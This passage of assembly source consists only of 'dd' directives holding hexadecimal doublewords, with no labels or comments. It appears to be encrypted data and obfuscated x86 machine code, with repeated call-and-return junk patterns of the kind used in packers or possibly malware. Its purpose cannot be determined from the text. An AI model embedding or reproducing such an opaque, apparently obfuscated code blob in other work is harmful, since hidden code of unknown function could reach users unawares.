		dd 0FE7B7165h, 0EA221DC3h, 5D22742Bh, 6D7A57C3h, 7366FE9Bh
		dd 8F66F6C7h, 0D5226FC7h, 297237C3h, 4D8CD470h,	72A91184h
		dd 0DE2D7748h, 0AE2277C5h, 4D53CA48h, 1EAB7165h, 0D38467D2h
		dd 0F447F24Ah, 40CB7165h, 0D02277C2h, 5ECA24C3h, 8E2277C3h
		dd 0DE79B498h, 2A26539Fh, 0C9265387h, 0A92277C3h, 6465B490h
		dd 0FFFDC84Eh, 5215DB22h, 0AE227149h, 0FEB7FCC3h, 2624D1E1h
		dd 7C94CA46h, 0BD221DC5h, 7522742Bh, 797D57C3h,	795EFE9Ch
		dd 8A66F6C7h, 572263C7h
		dd 687530C3h, 8772270Dh, 0EA227E2Bh, 666C2C3h, 51D75AF9h
		dd 7741AA7h, 2513789Ch,	0DE7A2D15h, 26A953C7h, 0D38444AEh
		dd 0EA24F1CCh, 0E00177C3h, 0BC8476C2h, 6FDFE23Ch, 232D7165h
		dd 572277C5h, 9BFBC24Ah, 48AF7165h, 0EC8BC100h,	7522662Ah
		dd 0F831E8C3h, 0F08944A9h, 67ACA14Dh, 40FAF70Eh, 0CBB1FC20h
		dd 85432E73h, 0E8AB78A3h, 0C12277C3h, 0D0B11645h, 5ECA20C3h
		dd 8E2277C3h, 0DE7DB49Ch, 2A2653BFh, 0C1265387h, 0AD2277C3h
		dd 0E5DBB494h, 0DC728948h, 0CD65C37Dh, 0AE227F2Ah, 3AC7A2C3h
		dd 499FD6FCh, 0D8B78865h, 5024D1EAh, 60AB93CFh,	0B117F24Ah
		dd 5D487165h, 0AE219F94h, 80277C3h, 0D7AB2800h,	91A373E7h
		dd 0EA3A73E7h, 226577C3h, 0BBBAE500h, 56CBF521h, 9A2277C3h
		dd 0A61DCA8Fh, 0DEF9AA7Fh, 8C73F63Bh, 0E60BF205h, 9C717165h
		dd 0BA2277CAh, 0A1C0F401h, 84C11FCCh, 57269F30h, 2F5D77C3h
		dd 6072DD44h, 0CE66FCEAh, 63A578C7h, 532277C3h,	5D2277D2h
		dd 2A4BBD9Ch, 0A0DB900Dh, 569E6637h, 2B4A130Bh,	8C22FCF3h
		dd 0FCC2AE7Ah, 8265387h, 5D482FADh, 0AE219F93h,	0F0277C3h
		dd 0EFAB2F00h, 91A373E7h, 0EA3973E7h, 256277C3h, 1940A600h
		dd 8A79B14Ch, 0C79FFE81h, 0BE24D1E1h, 0AB2277CCh, 8A771390h
		dd 47C7628Eh, 0D16CC7DBh, 45D7F13Ah, 0FB2B6E76h, 0F9221DC5h
		dd 5722742Bh, 687D57C3h, 0F15EFE9Ch, 0CE66F6C7h, 75226EC7h
		dd 797530C3h, 41E1CA8Bh, 2544C7F3h, 77A7FA08h, 0C124DEB2h
		dd 0D6CA21C3h, 0CA2277C3h, 0FC7CB49Dh, 3B2653B7h, 40265387h
		dd 0E82277C3h, 453EB495h, 1B5B2E5Ch, 0A1B38D3Ah, 0EA22702Ah
		dd 0C93196C3h, 29AD61A4h, 5D48A73Ch, 0AE219F95h, 90277C3h
		dd 0DFAB2900h, 91A373E7h, 0EA3873E7h, 236477C3h, 30EB300h
		dd 0F5D978E6h, 3DEDC8A5h, 514FF24Ah, 0BFCB7165h, 372277C3h
		dd 0CDC9B903h, 92E58735h, 3E1267EBh, 0E3693EE4h, 68627B19h
		dd 0F12E5E46h, 0AB4830C5h, 0D5219F96h, 0B70277C3h, 19AB2A00h
		dd 0FEA373E7h, 5D3473E7h, 0FB6777C3h, 468B8100h, 0AB22712Bh
		dd 22B552C3h, 63485911h, 0D33D5A4Eh, 384A28C5h,	3BAD33AAh
		dd 9AA3B948h, 615E65E7h, 0F9221DEDh, 0D522742Bh, 297857C3h
		dd 5176FE99h, 9E66F6C7h, 5D226DC7h, 6D7035C3h, 5CFF9BADh
		dd 546C8C66h, 732B6E76h, 27A7FEC5h, 0F824D1C7h,	13535746h
		dd 0D221DC5h, 0AE22742Bh, 947A57C3h, 8F66FE9Bh,	0F166F6C7h
		dd 0EA226AC7h, 0B67237C3h, 21861796h, 6ECAB149h, 1BAB68E2h
		dd 51845E82h, 0AB48A73Ch, 0D5219F95h, 0B40277C3h, 1AB2900h
		dd 0FEA373E7h, 5D3773E7h, 0F86477C3h, 0DE613A00h, 0D3F327Eh
		dd 0D2A278C5h, 0BB2277C3h, 0EF5F6A5h, 3FAB2874h, 5B845E12h
		dd 467777A9h, 572277C0h, 0F6E12AE3h, 0D1061B4Ah, 0EE063342h
		dd 752277D5h, 5FE12286h, 0E0A98A5Fh, 0A88464C6h, 5B0BF205h
		dd 20717165h, 730C9E7Eh, 7AB21FC5h, 339D3A7Fh, 3B4E34FDh
		dd 922253C7h, 0AE483CBFh, 57219F96h, 0F60277C3h, 0B9AB2A00h
		dd 0AEA373E7h, 753B73E7h, 0EF6777C3h, 98DDDC00h, 46BAB570h
		dd 572277D7h, 4998BFC0h, 0E64696CEh, 407324BEh,	87DE00DBh
		dd 0ECD38E0Ah, 5D23F3CCh, 0F0D777C3h, 5E3BC23Ch, 0AB487165h
		dd 0D5219F92h, 0B30277C3h, 39AB2E00h, 0FEA373E7h, 5D3773E7h
		dd 0FF6377C3h, 0DC1A8000h, 0D109256h, 44977CC5h, 6724D1E3h
		dd 0DC535746h, 0ED221DC5h, 5D22742Bh, 6D7D57C3h, 735EFE9Ch
		dd 8F66F6C7h, 0D5226CC7h, 297530C3h, 356EFE44h,	0FC0D9105h
		dd 542FCA4Ah, 7EDD7165h, 0BF7177A9h, 0AB2277C0h, 8EE12CE3h
		dd 0EE062B4Ah, 71063342h, 0BA2277D7h, 6EE12480h, 385EC8A5h
		dd 572AF5CCh, 207577C3h, 73383A4Eh, 642D29C5h, 752277C1h
		dd 3FAB8048h, 5B846DBAh, 467777A9h, 572277C0h, 0F6E12AE3h
		dd 0D1061B4Ah, 0EE063342h, 752277DFh, 0C4E12286h, 3C98E6EBh
		dd 8AEA4A8Ah, 476BC2C8h, 2EE47165h, 0D3847BEAh,	0F8A87894h
		dd 9C2277C3h, 0BA2277CEh, 6AB3F847h, 39603925h,	212EA7B9h
		dd 6495786Ah, 1DB730ABh, 24A9117Ah, 34064342h, 0D00BBB04h
		dd 5ECA27C3h, 8E2277C3h, 0DE7AB49Bh, 2A265387h,	0CF265387h
		dd 0AA2277C3h, 0F30BB493h, 27D07F66h, 58A678CBh, 172277C3h
		dd 4509E687h, 0AB35F8CCh, 0C7CB77C3h, 3B2277C3h, 13F518EDh
		dd 426EF67Bh, 77E072CDh, 68AB469Fh, 4E97886Eh, 0CD24D1CAh
		dd 50AF8648h, 0EC8B06E3h, 9D7577A9h, 0BA2277C0h, 2E128E3h
		dd 0AA060B4Ah, 53063342h, 0AB2277D4h, 0E5E12084h, 6BDAA552h
		dd 681D4929h, 0D0F28883h, 5ECA25C3h, 8E2277C3h,	0DE78B499h
		dd 2A265397h, 0C2265387h, 0A82277C3h, 71ADB491h, 37AB12A9h
		dd 5B847BCEh, 0BF4FF24Ah, 57487165h, 0AB219F92h, 8C0277C3h
		dd 0A6AB2E00h, 31A373E7h, 0BA3673E7h, 0C6377C3h, 192D3200h
		dd 7EA7B133h, 0E824D1CFh, 3D7177A9h, 0EA2277C0h, 2EE12CE3h
		dd 0BE062B4Ah, 59063342h, 0AE2277D9h, 0A3E12480h, 986AECF1h
		dd 58AB9CC2h, 0EC845C62h, 0B170D6ABh, 0CF3DCD48h, 69A31954h
		dd 0FA00FEE7h, 5221DF4h, 0AB22742Bh, 167857C3h,	0CE76FE99h
		dd 5166F6C7h, 0BA2262C7h, 9E7035C3h, 57A9FE86h,	5E3BC23Ch
		dd 0AB487165h, 0D5219F96h, 0B70277C3h, 19AB2A00h, 0FEA373E7h
		dd 5D3873E7h, 0FB6777C3h, 0AD618500h, 0C5C5060h, 6EC5F6A5h
		dd 0BAFFE32h, 0F824D1EDh, 13535746h, 0D221DC5h,	0AE22742Bh
		dd 947A57C3h, 8F66FE9Bh, 0F166F6C7h, 0EA226FC7h, 0B67237C3h
		dd 0E90762CEh, 5BA778DAh, 252277C3h, 0F12DFA7Eh, 0A4F288C5h
		dd 0D5227F47h, 57AB25C3h, 738444E2h, 0E7A7FE9Ah, 3B24D1CEh
		dd 0DBCBB142h, 435BE2E0h, 2EAF7165h, 0D38BC170h, 0C7AF7694h
		dd 2C24D1D3h, 6AA91153h, 5DAF7893h, 3E2277C3h, 0BF7777A9h
		dd 0AB2277C0h, 88E12AE3h, 0EE061B4Ah, 71063342h, 0BA2277DEh
		dd 0DAE12286h, 0D490203Ah, 0DC03106Eh, 51A911FDh, 0E7DFE23Ch
		dd 0EA487165h, 75219F90h, 0E10277C3h, 1AB2C00h,	0EAA373E7h
		dd 573973E7h, 0F86177C3h, 0FBFDF500h, 307B998Eh, 48AFFEEEh
		dd 3124D1C2h, 44B7FC1Bh, 2324D1D7h, 0FE94D046h,	0FD221DC5h
		dd 0D522742Bh, 297C57C3h, 5156FE9Dh, 9E66F6C7h,	5D2260C7h
		dd 6D7431C3h, 7A2D10D8h, 0FBFA8543h, 0D537F5CCh, 0FACB77C3h
		dd 3E2277C3h, 7621E4E3h, 3DB8AC2Fh, 16C161B0h, 0DE2B0CD7h
		dd 0AB4853C7h, 0D5219F91h, 0B00277C3h, 21AB2D00h, 0FEA373E7h
		dd 5D3573E7h, 0FC6077C3h, 0D10F3200h, 62957822h, 68ABB948h
		dd 0EC847C96h, 0F2F1CD93h, 0A6AB19E5h, 8221DE7h, 0AE22742Bh
		dd 947F57C3h, 8F4EFE9Eh, 0F166F6C7h, 0EA226EC7h, 0B67732C3h
		dd 0EAD55272h, 0C0AB4C53h, 0A8844616h, 7E2FE23Ch, 0A0427165h
		dd 730BBE46h, 0CB6FCCC5h, 0FC4306C2h, 1C39F67Eh, 40A7FEC5h
		dd 0AD24D1C4h, 0F10D7676h, 86A7B0C5h, 0DA24D1C4h, 8C2277C3h
		dd 8A42997Ch, 1C256A56h, 5D279FC5h, 0C6C277C3h,	94AB1C9h
		dd 0AA2BF24Ah, 0D5487165h, 0EA219F91h, 2F0277C3h, 0EEAB2D00h
		dd 19A373E7h, 0AE3773E7h, 56077C3h, 209C8B00h, 732F7E56h
		dd 769D11C5h, 80A7FC07h, 3724D1D0h, 0F4EBA45Eh,	0AF61FEC5h
		dd 5C7BCA4Eh, 1EAF7165h, 0D38BBE6Eh, 0EA22447Ah, 9E8684C3h
		dd 0BA22CFF0h, 9D2977C3h, 0B6E074B7h, 7366FCC3h, 0ABCA24CFh
		dd 8E2277C3h, 0EA35B442h, 29AB77C3h, 0FEAB67E7h, 0E57963E7h
		dd 0AE83D7F4h, 13A9973Ch
		dd 4BDD73E7h, 3D7377A9h, 0EA2277C0h, 2CE12EE3h,	0BE063B4Ah
		dd 59063342h, 0AE2277D4h, 8E12682h, 0CD0CCA76h,	8743A648h
		dd 0EA227B2Ah, 8B0CC9C3h, 149B607Dh, 749EE35h, 13AF293Bh
		dd 518BC164h, 6110FA4Eh, 0E09A716Ah, 0D9BA5168h, 0D3385E46h
		dd 0A3ED5CC5h, 2B0B221Dh, 0C3AE2274h, 9D947C57h, 0C78F56FEh
		dd 0C7F166F6h, 0C3EA2261h, 0E9837431h, 8BA4F305h, 0B18D8BD9h
		dd 0E906A622h, 6Ch, 9850Fh, 0F600000h, 81h, 6161F500h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 91C35545h
		dd 12E9609Bh, 9E000000h, 97E25488h, 4921751Ah, 0C47AB3FDh
		dd 0E72F0D38h, 79D78040h, 6AC361h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 46A9DC3h, 4FC49FE7h
		dd 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 228B95C3h, 0BD83747Eh, 6A61EA5h, 83097500h
		dd 0A62F9DBDh, 19740006h, 0C08B5350h, 4B9B8h, 0F9858900h
		dd 8D06A61Bh, 0A8A5D39Dh, 5BD3FF06h, 9DBD8358h,	6A62Fh
		dd 53501774h, 4B9B8h, 0F9858900h, 8D06A61Bh, 0A8A2749Dh
		dd 5BD3FF06h, 1880F58h,	0F8000000h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 8CC35040h, 0E979E077h, 12h
		dd 0E1F16AD8h, 0DFC69BA0h, 313C3E42h, 7075E3E9h, 0C08BB81Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 39C35242h
		dd 58D0F5Bh, 60000000h,	61F86160h, 0C18B40F5h, 7AC68166h
		dd 4EB6Ah, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6628C353h, 0BD03F78Bh,	6A62DC1h
		dd 1A5DBD8Bh, 858D06A6h, 6A62CADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 97C35646h, 556C58B8h, 50904A37h
		dd 61CC8A60h, 0AE890h, 35010000h, 0A781357Dh, 4C1DF96Dh
		dd 719D3151h, 5E06A615h, 3DB58B5Eh, 6A06A601h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 487FCF43h, 0B589CFC7h, 6A60519h, 820F006Ah, 0
		dd 0CD67858Dh, 6A06A9h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 403CDFC3h, 0CE818D6h, 0B9000000h
		dd 0C8D4340Eh, 3C782CD5h, 3135B62Bh, 0A6291185h, 0C0835E06h
		dd 0E850F805h, 14h, 7428EBD9h, 0B1064BF1h, 0CA5CB57Ch
		dd 0DBE3E7E8h, 0C66D62C3h, 5FF18B66h, 0F240489h, 6AFBB7h
		dd 0E9BD2956h, 5F06A607h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0E2C454C3h, 3EF68166h
		dd 4595FFACh, 8906A612h, 0A62E199Dh, 0FF9D8D06h, 2306A994h
		dd 0A60A65B5h, 0F0B70F06h, 6AD3FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 444836C3h
		dd 3BA3464h, 0A619E9BDh, 6D85FF06h, 6A06A612h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0F21AC352h, 90F53087h, 0DE996h, 0C8780000h, 2EFB4599h
		dd 87ABFDF1h, 0E9E61893h, 794h,	0E8h, 0ED815D00h, 6A9CD71h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 12C35343h
		dd 7597C3BEh, 7EA9AD9Ch, 25B501B1h, 8106A62Ah, 0A6072DBDh
		dd 7D006h, 41860F00h, 8B000001h, 0A621719Dh, 0E38106h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 3E98C352h, 0C7B338BAh,	8BFAB70Fh
		dd 0A608E5BDh, 0FDB0B06h, 0A085h, 61BD0300h, 8306A61Ah
		dd 0A9CBA7BDh, 840F0006h, 6Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 73C35343h, 0E8572768h, 7, 0E6161C69h
		dd 0BEDDFEBFh, 6C4FCA97h, 820F5E5Fh, 6,	31CDB58Bh, 7DE906A6h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 900AC357h, 60771B95h, 80F0D480h
		dd 0C761EDD3h, 0A9CBA785h, 106h, 820F5700h, 6, 800Fh, 0E95E0000h
		dd 38h,	96DE8166h, 0A785C73Dh, 6A9CBh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 6644C357h, 9032BF9Fh, 0B58B2B22h, 6A61611h, 21719D8Dh
		dd 6A06A6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 850141C3h, 6A609E5h, 0FEFF2381h, 0F38BFFFFh
		dd 6ADB8C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 73DAC351h, 89D70870h, 8A1B58Bh
		dd 0BD8B06A6h, 6A62291h, 0F04C3F6h, 7284h, 7CF8100h, 0E84DF655h
		dd 0Fh,	33C63771h, 0FC164247h, 0EEEA863h, 0F1870E3h, 0FF5EF7B7h
		dd 0A6071D95h, 0FD8D8906h, 9006A61Ah, 5E8h, 9D269B00h
		dd 505E8E14h, 0FE9h, 1A6F3B00h,	0A3E4AF1Dh, 0B813FDE9h
		dd 3A3D33A4h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C77A8CA2h, 0E2A7C0D1h, 0E95F53F8h
		dd 3EDh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 18h,	47C35646h, 0E19FEA71h, 6A00B0h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 4C80C1C3h
		dd 95BF9FA9h, 0E63F2CDFh, 74BF6670h, 6A71E458h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 2265C351h, 0BD0343C8h, 6A60B55h, 0E9D8B60Fh,	0Ah, 0A1A17BACh
		dd 6A5E748Fh, 6BAC1C7h,	89000000h, 0A606E59Dh, 6AC38B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 9BA0C350h, 3E42DFC6h, 8F41EF81h, 0B52918EDh
		dd 6A606FDh, 6A04E8C1h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0AC6AC353h,	5A930976h
		dd 6598D89h, 0F76606A6h, 29FC60E2h, 0A60D6DB5h,	0D82B6106h
		dd 0AB5B58Bh, 0F5006A6h, 685h, 800F00h,	89000000h, 6A241Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0AECBA2C3h, 60A784B0h, 8B48C180h, 858961FBh,	6A62F71h
		dd 72DB5FFh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0B30F6DC3h, 0F92E158Ch, 295995FFh
		dd 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0B08427C3h, 0FE900h, 67A30000h, 6BAB2107h
		dd 886B377Ch, 0FA2A381Bh, 0E970E6A4h, 0Ch, 0E68C8EC3h
		dd 5F41E4C5h, 0D5A99299h, 9D2971E4h, 6A619F9h, 830F613Ch
		dd 22Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	14C35646h, 0E8499ADAh, 14h, 0D17FAE60h,	3076C568h
		dd 0CC0BBE0Ah, 0E20E3F14h, 9D1F4D19h, 55EE8166h, 0B60F5F06h
		dd 5E9D8h, 0EAE50000h, 0BA11A14Bh, 6, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0BDC35646h,	181885E5h, 7D1CBE35h
		dd 8BF98B66h, 4E8C1C3h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D5C35141h, 9C092921h, 0E2F766E1h, 1B91B58Bh
		dd 0D82B06A6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0BFC35747h, 3EEE8156h, 5F686191h, 71B58B58h, 2B06A61Ah
		dd 52880FD8h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 37CEC352h, 41430F7Dh
		dd 31B58B3Ch, 0B906A60Bh, 7, 0C183F5h, 5FF98B56h, 860FD93Bh
		dd 115h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	21C35242h, 891C3C3Bh, 0A6067995h, 0D98C6606h, 6870Fh
		dd 0BD890000h, 6A62F19h, 0F04C1F6h, 0BA84h, 0CE800h, 78660000h
		dd 0B755EC26h, 0B8CA91Bh, 8B665AAAh, 95FF5FF9h,	6A6071Dh
		dd 128A0Fh, 0DE90000h, 8B000000h, 0BF12FC17h, 4FBCBB4Ah
		dd 207635C0h, 0DE85Bh, 0BF0D0000h, 0E8BD775Fh, 20C72390h
		dd 89AE60FFh, 0A6122995h, 0C32B5F06h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0B4C35141h,	2FE1BD89h, 343D06A6h
		dd 0F000008h, 3E86h, 0EDB52300h, 0E906A62Bh, 51h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1BC35141h, 2D9B9D97h
		dd 0E97FBD0Ch, 0Bh, 90C39103h, 33057974h, 8BEEBCCCh, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8BC38B5Eh, 0F840FD8h, 0E9000000h, 0Ah, 1008A3F5h, 62339350h
		dd 85C71EFDh, 6A61C21h,	31961B15h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0B8C35141h,	2CCD9D89h, 0C08B06A6h
		dd 8E9h, 0B7924700h, 0F07AB77Eh, 2DBD811Bh, 0D006A607h
		dd 0F000007h, 5585h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 850F1D7Ch, 3, 0FFFFBF0Fh
		dd 0A6072D85h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0AE566FA7h, 0B65CE155h
		dd 671BD33h, 0B5FF06A6h, 6A6072Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 65C35343h, 0E881EBC0h
		dd 5, 45DA41B9h, 0FE860BEh, 0EC000000h,	2AB72E29h, 5877D7Fh
		dd 81C8F031h, 895A54FCh, 0A6079D8Dh, 0FF5F6106h, 0A6295995h
		dd 35BD8B06h, 5006A609h, 5EFEB70Fh, 5678B890h, 6A1234h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 9264FAC3h, 0AC85F146h, 0D4A99D8Dh, 91E906A9h, 6AFFFFF8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0E81DC353h, 0BFFEBF0Fh, 0A6D3F37h, 8F0FC18Bh
		dd 6, 1ADD9D89h, 4EB06A6h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 4C35646h
		dd 0C7226A6h, 69883918h, 7E8AAh, 0FCFA0000h, 14C5D667h
		dd 9BD8BB6h, 5F06A634h,	2CAD858Dh, 6A06A6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 16AF1FC3h
		dd 0F78B5707h, 0CDBD8B5Fh, 9006A605h, 0E9605250h, 5, 9A109216h
		dd 310F6197h, 676189BFh, 50585A35h, 61606060h, 8B906161h
		dd 81006AF9h, 0FA5937CEh, 6A006A43h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2A76C355h
		dd 0E02E8848h, 1DB1A956h, 0A199589h, 7E906A6h, 0C8000000h
		dd 0A1769463h, 858D8FD6h, 6A9D6C0h, 0FE02BF66h,	8905C083h
		dd 0A60ADD85h, 90509006h, 3415B58Bh, 6A06A6h, 6AF08Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A2C35747h
		dd 9C8AA9F1h, 8F0267B8h, 0E98D09CFh, 0E906A62Dh, 0Fh, 5A3F0073h
		dd 0BD20D5A4h, 0C3F8C7ABh, 0FF66DDE9h, 0A6124595h, 11E906h
		dd 8B370000h, 3E9C1084h, 703CEF56h, 51861D3Bh, 8DFDC047h
		dd 0A994FF9Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 3DB50B44h, 5306A61Fh
		dd 0FF5EF38Bh, 6D85FFD3h, 6A06A612h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 7CAEC350h
		dd 0BD8B99E8h, 6A60AEDh, 6850Fh, 0B5890000h, 6A6077Dh
		dd 0EE3E9h, 0E800h, 815D0000h, 0A9D6CAEDh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BD819238h, 6A6072Dh, 7D0h, 11E860Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 287372C3h, 8B9FD14Ch, 0A610159Dh, 98A0F06h, 0F000000h
		dd 389h, 0FB8B6600h, 100E381h, 8E0F0000h, 6, 1865BD8Bh
		dd 0DB0B06A6h, 89850Fh,	8B660000h, 10BD83F2h, 6A9D5h, 3E840Fh
		dd 9D290000h, 6A61BF5h,	78E9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0E9F88D40h
		dd 0F51D38B4h, 0BE9h, 22BD6100h, 8D3A53F0h, 0A8484A5Ah
		dd 0D51085C7h, 106A9h, 810F0000h, 0
		dd 30E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 4EDFE28Ch, 499531D9h, 0C706A62Bh
		dd 0A9D51085h, 6, 159D8D00h, 6A06A610h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 65F8C357h
		dd 0F821921h, 0B589741Eh, 6A628C9h, 0FEFF2381h,	0B523FFFFh
		dd 6A62CF9h, 0FDB8C66h,	38Dh, 0F98B6600h, 68F0Fh, 0BD8B0000h
		dd 6A60CA1h, 0F04C3F6h,	7E84h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A4C797F5h
		dd 13FE9D60h, 71D95FFh,	6A06A6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 917CADC3h, 0C0662F06h
		dd 6DB52322h, 9006A62Fh, 0E754BE50h, 6A902A9Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0FA68C357h, 8074699Ah, 0E90F11B9h, 461h, 38E0Fh, 0B70F0000h
		dd 6A00B0FAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 23B2C355h, 0CFC68B29h,	59852958h
		dd 0E606A60Eh, 51006A70h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0C23803DFh, 0EDFDBF66h
		dd 0B52371E4h, 6A61BB5h, 0E8D8B60Fh, 5,	87386E48h, 6BA5F96h
		dd 23000000h, 0A610A1BDh, 8BC38B06h, 0A63149B5h, 4E8C106h
		dd 0BD096060h, 6A619E1h, 11E9h,	0CB817100h, 1D8558C7h
		dd 83AE9C60h, 0D29258AEh, 8B61E4BBh, 0A60F3995h, 0F7666106h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0A6DF0AD3h, 0F3BC1Fh, 13E8D82Bh,	1C000000h
		dd 0B79B4FBDh, 0D8941D11h, 5A6A33FBh, 0D6FC3BE1h, 0BD8BD8BCh
		dd 6A6079Dh, 6060505Fh,	0B038BA66h, 58526061h, 61DE8B66h
		dd 241C8961h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Dh,	0EDC35343h, 0FE282548h,	0AF7E5FF0h, 79E681BFh
		dd 0FF0756E1h, 0A6072DB5h, 88F0F06h, 0F000000h,	28Eh, 0FF5F5100h
		dd 0A6295995h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 4755BC29h, 89E7E204h
		dd 0A6083DBDh, 6A00B006h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0E336C351h,	8B664898h
		dd 6A70E6F7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 5D29C350h, 15810Fh, 2B600000h
		dd 0A613F99Dh, 8E906h, 16180000h, 0A83F9EEAh, 0E461D9AAh
		dd 9FCE8171h, 3C617BD6h, 82830F61h, 0E9000002h,	8, 39C65DA0h
		dd 0C042C17Eh, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 481C350h, 8DB52374h
		dd 0BA06A631h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	43C35646h, 0DE999h, 3D9E0000h, 86ADF3B7h, 0D99D5D61h
		dd 8BF76359h, 0A62A8DBDh, 0C1C38B06h, 0B70F04E8h, 0E2F766FBh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 72C35646h
		dd 0BC92CA2Eh, 2B018D89h, 0D82B06A6h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 2BC35747h, 0FA793320h, 0A47D4A11h
		dd 8810FF5h, 50000000h,	820Fh, 585E0000h, 830Fh, 0D82B0000h
		dd 19F880Fh, 0A8BE0000h, 0B921073Dh, 7,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 0BEC35646h, 16E3349Bh
		dd 9E9h, 0C39B4B00h, 0D1E415A2h, 0C1838EC7h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
